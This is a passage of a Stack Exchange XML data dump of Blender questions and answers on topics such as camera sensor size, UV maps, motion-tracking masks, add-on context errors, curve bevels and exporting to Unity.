CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24395" PostTypeId="2" ParentId="24390" CreationDate="2015-02-08T00:23:59.337" Score="1" Body="&lt;p&gt;The angle of coverage of a lens is determined by the size of the sensor and the focal length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender is designed to deal with variation of all of these parameters as they would happen in real life in a real camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you change the sensor size, the &lt;strong&gt;Angle of Coverage&lt;/strong&gt; of a lens will be affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example. A 35mm lens in a full sensor 35mm camera with a sensor that is 36mm wide would be considered a &quot;normal&quot; lens (close to that of the human vision) with an angle of coverage of 54.432 degrees. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same 50mm lens on a sensor that is 8.8mm Horizontally would be a very long telephoto with a field of view of barely 14.331 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same lens on a large form at camera with a sensor with of 6.5cm would be a wide angle lens with a field of view of 89 degrees&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hSWEm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-02-08T02:53:18.427" LastActivityDate="2015-02-08T02:53:18.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24396" PostTypeId="1" CreationDate="2015-02-08T01:55:51.487" Score="4" ViewCount="1573" Body="&lt;p&gt;How would I make a green screen that has absolutely 0% reflection, and does not cast or receive shadows? I tried making a plane and making a material and changing the background color, but every time there would be a reflection on the objects in the scene.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2015-02-08T03:31:33.373" LastActivityDate="2015-02-08T03:31:33.373" Title="Cycles Green screen?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24397" PostTypeId="2" ParentId="24396" CreationDate="2015-02-08T02:17:42.150" Score="7" Body="&lt;p&gt;This is what the &lt;em&gt;Holdout shader&lt;/em&gt; is for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tRr0t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shader affects the alpha channel when &lt;em&gt;Transparent&lt;/em&gt; is enabled in &lt;em&gt;Render settings &gt; film&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;really&lt;/em&gt; want to create an actual &quot;greenscreen&quot;, then see &lt;a href=&quot;https://blender.stackexchange.com/q/8108/599&quot;&gt;Node for setting render colour, regardless of lighting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-02-08T02:17:42.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24398" PostTypeId="1" AcceptedAnswerId="24400" CreationDate="2015-02-08T03:05:06.407" Score="4" ViewCount="2047" Body="&lt;p&gt;I have two textures mapped to a uv unwrapped face but one of them is the wrong scale. If I change the uv map to make it right it throws off the other texture. Is there any way I can have multiple uv maps for the same face so I can scale one texture without changing the other?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2015-02-08T03:29:06.227" Title="Map multiple textures to a face individually" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24399" PostTypeId="1" CreationDate="2015-02-08T03:07:12.493" Score="6" ViewCount="229" Body="&lt;p&gt;I've tracked a video, and the stabilization looks okay. However it's very shaky, so a lot of the video needs to be cropped off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to keep the pixels from previous frames to fill these gaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, make the video behave as a kind of &quot;brush&quot; which is controlled by the camera movement?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-08T14:11:57.400" Title="Is there a way to preserve unfilled areas in stabilized footage?" Tags="&lt;video-sequence-editor&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24400" PostTypeId="2" ParentId="24398" CreationDate="2015-02-08T03:08:05.473" Score="4" Body="&lt;p&gt;Yep, you can manage them in &lt;em&gt;Object Data &gt; UV maps&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D9Jnq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use a particular map, you can select it &lt;a href=&quot;https://blender.stackexchange.com/q/2176/599&quot;&gt;via the UV map node (cycles)&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hz82I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in the texture settings (BI):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o700R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-02-08T03:13:28.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24401" PostTypeId="1" AcceptedAnswerId="24404" CreationDate="2015-02-08T03:21:04.753" Score="7" ViewCount="2826" Body="&lt;p&gt;Is there a way I can cut by continuing an edge?&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jHtrUm.png&quot; alt=&quot;Just like this, the red line is where I want the cut&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want a cut at the red line, possibility using the knife tool, but I can't use the angle snap, since its not on any particular angle, so is there a way to rotate the camera so its on the same angle as that edge? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clarification: Where the red line is, it's just grey space. I want an edge there&lt;/p&gt;&#xA;" OwnerUserId="11341" LastEditorUserId="2217" LastEditDate="2015-06-02T00:03:18.210" LastActivityDate="2015-06-02T00:03:18.210" Title="How to cut a mesh at the edge?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;3d-view&gt;&lt;edges&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24402" PostTypeId="2" ParentId="24398" CreationDate="2015-02-08T03:29:06.227" Score="4" Body="&lt;p&gt;You can access your different UV maps while unwrapping in the &lt;em&gt;UV Image Editor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mO4v1.png&quot; alt=&quot;Change UV map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you can unwrap the first one, finish, and then unwrap the second one differently. Access them in the material as shown in Gandalf3's answer.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-08T03:29:06.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24404" PostTypeId="2" ParentId="24401" CreationDate="2015-02-08T03:50:58.497" Score="9" Body="&lt;p&gt;If you have a face on the edge perpendicular to the front face, then you can select the face and move the view with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;NumPad 1&lt;/kbd&gt;. That will rotate the view so that the edge is alined, then the angle constraint in the knife tool will work.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yNCvQ.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-02-08T03:50:58.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24405" PostTypeId="1" AcceptedAnswerId="27168" CreationDate="2015-02-08T04:20:57.293" Score="0" ViewCount="269" Body="&lt;p&gt;I'm using Blender 2.73a at the default startup with the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Perspective or Ortho, the length and width of the Cube is clearly dependent on the current aspect ratio of the Element HDTV elefw231 screen that I'm using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set the objects scale I can counter and the cube looks like a cube and not rectangular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course then I have to remove it. This is on my ATI Radeon HD 4650 Graphics. My Laptop is not like this.&lt;/p&gt;&#xA;" OwnerUserId="11471" LastEditorUserId="2843" LastEditDate="2016-04-24T20:51:22.953" LastActivityDate="2016-04-24T20:51:45.703" Title="Blender 3D-View: Objects aspect ratio off" Tags="&lt;modeling&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24406" PostTypeId="1" AcceptedAnswerId="24428" CreationDate="2015-02-08T04:30:44.720" Score="0" ViewCount="964" Body="&lt;p&gt;I have just started teaching myself 3D modeling so that I can start making some simple 3D games in Unity. I am already familiar enough with code to start making things, but I lacked the 3D model assets. I been teaching myself Blender and created some very simple models. The problem I am finding is that I get what appears to be holes in the mesh. For example if I put the model into Texture mode I see what looks like a Face that is see through or another color. If I start moving Vertices in Edit mode I can make the hole disappear.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wondering what I might be doing wrong to cause this problem. I know you are suppose to try and keep all faces quads so that is what I continue to do.   Basically all I am doing right now is making a flat model in a Top Ortho view and then extruding to add a 3rd dimension to the model. Am I doing things wrong? Just making a simple model of a ghost yet I somehow have this other section that appears to be a different color when viewed in texture mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nouMp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the same model in Solid Shading mode&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qJxBY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for any help with this. &lt;/p&gt;&#xA;" OwnerUserId="11472" LastEditorUserId="12" LastEditDate="2015-02-14T22:38:22.333" LastActivityDate="2015-02-14T22:38:22.333" Title="Seeing holes in mesh while in texture mode" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24407" PostTypeId="1" CreationDate="2015-02-08T05:26:26.160" Score="0" ViewCount="31" Body="&lt;p&gt;i really like Bleander 3d currently i use Autodesk Smoke to do my postwork but im thinking of going full blender. though the windows tend to get cluttered i would love to see the gui have a dual screen option if it already does could someone inform me on how to activate it. thanks&lt;/p&gt;&#xA;" OwnerUserId="11474" LastActivityDate="2015-02-08T05:26:26.160" Title="Dual Monitors options?" Tags="&lt;interface&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-02-08T12:15:48.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="24408" PostTypeId="1" AcceptedAnswerId="24410" CreationDate="2015-02-08T05:47:35.377" Score="7" ViewCount="3706" Body="&lt;p&gt;I have some video footage of a flat surface (for this example, let's say it's a binder or a book), and I want to digitally replace the cover of the book using a plane in Blender. So, I set up my tracking scene and align the plane and stuff and it attaches to the book. The problem is, someone picks up the book, so their hand is now covering part of it. Is it possible to draw a mask that will conform to the shape of the hand, or something similar? Maybe like a lasso tool (like they have in photoshop) or something similar? Or will I have to adjust the mask frame-by-frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. :)&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorDisplayName="user1853" LastEditDate="2015-02-08T06:33:52.933" LastActivityDate="2015-02-08T14:16:28.250" Title="Can a mask stick to a shape in the motion tracker?" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24409" PostTypeId="2" ParentId="24399" CreationDate="2015-02-08T06:01:04.293" Score="5" Body="&lt;p&gt;You may consider to load and save / overwrite source image for the calculation for each NEXT frame:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make some blank files with the same name with the target output filename, and put them in the render output folder BEFORE rendering. For example, you have an image sequence of 500 frames, then you should put at least 500 image files with the same name (whatever they are, even blank) into the render output foler. then add them into VSE, put into a channel below the current sequence, set the Blend mode of the current sequence to &lt;strong&gt;Alpha Over&lt;/strong&gt;. and one frame ahead, then render. The output images will overwrite the existing ones, and luckily the calculation for the next frame will always load from disc (not from buffer or memory). Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x89Nk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/paTmU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/53rZJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: You have to realize that the offset between two adjacent frames is often more than 1 pixel (unless the camera moves extremely slow), so, as I tested, this idea usually isn't perfect, but works.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-02-08T14:11:57.400" LastActivityDate="2015-02-08T14:11:57.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24410" PostTypeId="2" ParentId="24408" CreationDate="2015-02-08T06:07:34.220" Score="9" Body="&lt;p&gt;The mask control points can be controlled by trackers.&#xA;So track the hand (or the edges where the hand moves over the book cover) and parent those trackers to the mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that select the mask's control point, then shift-select the tracker to control it and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;. Now the control points will follow the tracker automatically.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3710" LastEditDate="2015-02-08T14:16:28.250" LastActivityDate="2015-02-08T14:16:28.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24411" PostTypeId="1" CreationDate="2015-02-08T06:11:46.097" Score="0" ViewCount="318" Body="&lt;p&gt;I'm trying to figure out a way to retrieve or select a group of vertices directly beneath a separate object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do this in a way that I don't have to iterate throughout the entire mesh to find the correct vertices. I was thinking of how blender is able to select things within the 'lasso select' or select things in other 'within region' shenanigans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is:&#xA;Does blender always iterate through every single point in a mesh just to find what's within a certain distance, or to detect collision, or detect verts within a region etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a more graceful way to do this? I'm using landscapes with somewhat large amounts of verts, and this entire process will be iterated over for several different objects. I couldn't find anything helpful on google, and I'm not too sure where to look.&lt;/p&gt;&#xA;" OwnerUserId="11476" LastEditorUserId="1363" LastEditDate="2015-02-09T10:42:50.847" LastActivityDate="2015-02-09T10:42:50.847" Title="Blender 2.73 API Trying to select vertices within region via python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;selection-tools&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24413" PostTypeId="2" ParentId="24393" CreationDate="2015-02-08T07:34:39.277" Score="7" Body="&lt;p&gt;Yes, Location/Rotation/etc. returns the values visible in relevant fields of the object transform in the UI, kind of 'initial' transformation. To get final one, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.frame_set(250)&#xA;bpy.data.objects['Object'].matrix_world.translation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This gives you absolute position of the object (world space), if you want its relative position (to parent e.g., local space), you'll have to use &lt;code&gt;matrix_local&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You should bake physics simulation before using &lt;code&gt;frame_set()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-02-08T07:34:39.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24414" PostTypeId="1" CreationDate="2015-02-08T09:46:59.613" Score="1" ViewCount="2014" Body="&lt;p&gt;I'm entirely new to Blender and am learning as I go, so I need a bit of step-by-step guidance please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on some voxel based graphics, creating them in MagicaVoxel, exporting as .obj files and then importing into Blender. Most of the graphics are easy enough, however I have a railway line which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdY21.png&quot; alt=&quot;Rail object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I want to 'bend' the railway line to become a curve, I need to make a number of curved sections in this way. I want to use these as 'tiles' within a game design environment (Unity) and so the rail needs to stay flat to the 'ground' of course and I want the straight and the curves to fit together, like pieces from a model railway would.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at some online videos and so on and ended up playing with the Simple Deform - Bend modifier, but I can't get to grips with it at all, the results I'm getting are nothing like my expectation!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please provide me with some advice to help me understand how to approach this? Any guidance would be gratefully received. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11478" LastEditorDisplayName="user1853" LastEditDate="2015-02-09T16:44:42.563" LastActivityDate="2015-02-09T16:44:42.563" Title="Bending a railway line" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;&lt;import&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24415" PostTypeId="1" AcceptedAnswerId="24416" CreationDate="2015-02-08T10:24:39.950" Score="7" ViewCount="1608" Body="&lt;p&gt;I got this error message when I try to enable my addon.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dataBrush = bpy.context.blend_data.brushes&#xA;&#xA;AttributeError:'_RestrictContext' object has no attribute 'blend_data'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please some help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D8Roo.png&quot; alt=&quot;Error in enablling addon&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on an dynamic palette for sculpt brushes&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C9FNd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="55" LastEditDate="2017-04-02T08:37:35.193" LastActivityDate="2017-04-02T09:51:26.800" Title="Accessing bpy.context gives a '_RestrictContext' warning, how to fix this?" Tags="&lt;add-on&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24416" PostTypeId="2" ParentId="24415" CreationDate="2015-02-08T12:03:15.810" Score="11" Body="&lt;p&gt;Short answer: don't access blendfile data when an add-on loads.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is an intentional limitation with add-on loading which was added because it caused so many errors with inexperienced developers not properly understanding how data should be accessed, in practice it's almost &lt;strong&gt;never what you really want&lt;/strong&gt;, and if for some obscure reason it is, you better not do it in an add-on (just run a script directly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kind of bug this caused was:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add-on loads, sets the active scene. eg: &lt;code&gt;scene = bpy.context.scene&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;User changes active scene or loads another blend file.&lt;/li&gt;&#xA;&lt;li&gt;User tries to use the add-on, which starts using the previous scene.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Enabling an add-on should always give the same results no matter what Blend file you have open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, your tools should read from the context when they are activated by the user.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-04-02T09:51:26.800" LastActivityDate="2017-04-02T09:51:26.800" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24417" PostTypeId="1" AcceptedAnswerId="24419" CreationDate="2015-02-08T13:41:37.270" Score="7" ViewCount="1234" Body="&lt;p&gt;I wanted to build a building like the picture and what I did was putting two cubes on top of each other . I want know how this can be made from one cube I mean start from one cube and extrude or ...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iTlfR.jpg&quot; alt=&quot;enter image description here&quot;&gt;                                               &lt;/p&gt;&#xA;" OwnerUserId="11305" LastEditorUserId="3127" LastEditDate="2015-03-10T15:12:18.430" LastActivityDate="2015-03-10T15:12:18.430" Title="modeling a building from one cube" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;interface&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24418" PostTypeId="1" AcceptedAnswerId="24420" CreationDate="2015-02-08T14:28:27.797" Score="5" ViewCount="2947" Body="&lt;p&gt;I've googled and also searched the answers here but couldn't find my problem so here goes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to bevel a curve using another object and when I try it with a normal circle it's fine. But I'm trying to use this flat oval shape to bevel a larger curve of the same shape and it's not following the curve at the correct rotation. I've tried everything, rotating the bevel object, clicking random options in the object data menu.. I can't seem to budge it from looking how it is in the screenshot. In the screenshot you can see the curve I've failed to bevel correctly and also the bevel object in the bottom right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want the flat part of the oval to be above and below the curve, not on the sides as it is. I hope that makes sense. Anyone know what I need to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzRCZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11272" LastActivityDate="2020-01-07T03:17:40.347" Title="Bevelling a curve with object" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24419" PostTypeId="2" ParentId="24417" CreationDate="2015-02-08T14:33:41.923" Score="11" Body="&lt;ol&gt;&#xA;&lt;li&gt;Enter edit mode&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; to make a loop cut across the mesh.&lt;/li&gt;&#xA;&lt;li&gt;Repeat in other direction&lt;/li&gt;&#xA;&lt;li&gt;Select face and extrude it upwards(&lt;kbd&gt;E&lt;/kbd&gt;-&lt;kbd&gt;Z&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aVoTV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-02-09T15:28:06.140" LastActivityDate="2015-02-09T15:28:06.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24420" PostTypeId="2" ParentId="24418" CreationDate="2015-02-08T14:34:06.163" Score="10" Body="&lt;p&gt;If you want to change the rotation of the bevel, you need to rotate the bevel object in &lt;em&gt;Edit mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter edit mode for the small oval that is the bevel object.&lt;/li&gt;&#xA;&lt;li&gt;Select all the curve points and rotate by 90 degrees (I can't tell which axis from the screenshot).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-02-08T14:34:06.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24422" PostTypeId="1" CreationDate="2015-02-08T14:43:30.673" Score="21" ViewCount="69210" Body="&lt;p&gt;I have been experiencing an issue that once I have a material created and looking the way I want it, I cannot seem to export it correctly with the textures mixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the correct words to use, but in blender I have the material created using the nodes editor, and I have placed two textures inside of there (one for the rock texture and one for moss, my object is a rock). When I export this model and import to Unity (the game engine I am using), I find a materials folder but the material inside of it does not have the textures assigned, it's just a plain white material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I export my material from blender in a way that it will allow me to import it WITH TEXTURES into Unity?&lt;/p&gt;&#xA;" OwnerUserId="11480" LastEditorUserId="2217" LastEditDate="2015-02-08T19:49:17.000" LastActivityDate="2018-05-04T19:35:49.407" Title="Export cycles material to unity" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24423" PostTypeId="2" ParentId="24417" CreationDate="2015-02-08T14:55:12.367" Score="6" Body="&lt;p&gt;In &lt;em&gt;Edit Mode&lt;/em&gt; select the upper face and snap the cursor to it (press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;--&gt;&lt;em&gt;Cursor to Selected&lt;/em&gt;).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n3cw2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;E&lt;/kbd&gt; to extrude and then &lt;kbd&gt;S&lt;/kbd&gt; to scale the extrusion. Confirm the operation with &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LBbbh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude once more along z axis. Press &lt;kbd&gt;E&lt;/kbd&gt;, then &lt;kbd&gt;Z&lt;/kbd&gt; and confirm the transformation.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PsrgL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select the whole extruded element and place it wherever you like, using &lt;kbd&gt;G&lt;/kbd&gt; and choosing the axis you like.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MrPOm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here it is.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s52lB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-02-08T14:55:12.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24424" PostTypeId="2" ParentId="924" CreationDate="2015-02-08T15:16:13.230" Score="23" Body="&lt;p&gt;As of version 2.73 from 2015:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure render engine is set to cycles (BI wouldn't create the required cycles materials)&lt;/li&gt;&#xA;&lt;li&gt;Select the object you want to emit smoke&lt;/li&gt;&#xA;&lt;li&gt;From the menu &lt;em&gt;Object/Quick Effects&lt;/em&gt; pick &lt;em&gt;Quick Smoke&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After that a material has been created that looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZW5dK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to also emit flames it can easily be extended to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bCIzA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the attribute names have to be exactly as they  are show 'color','density' and 'flame'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important settings for the Domain object (besides higher-resolution):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I2HCd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important settings for the &lt;em&gt;Flow Object&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a procedural texture and animate some properties to animate the flames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WD4Cm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full tutorial: &lt;a href=&quot;http://www.blenderguru.com/tutorials/make-fire-cycles/&quot; rel=&quot;noreferrer&quot;&gt;http://www.blenderguru.com/tutorials/make-fire-cycles/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-02-08T15:24:08.870" LastActivityDate="2015-02-08T15:24:08.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
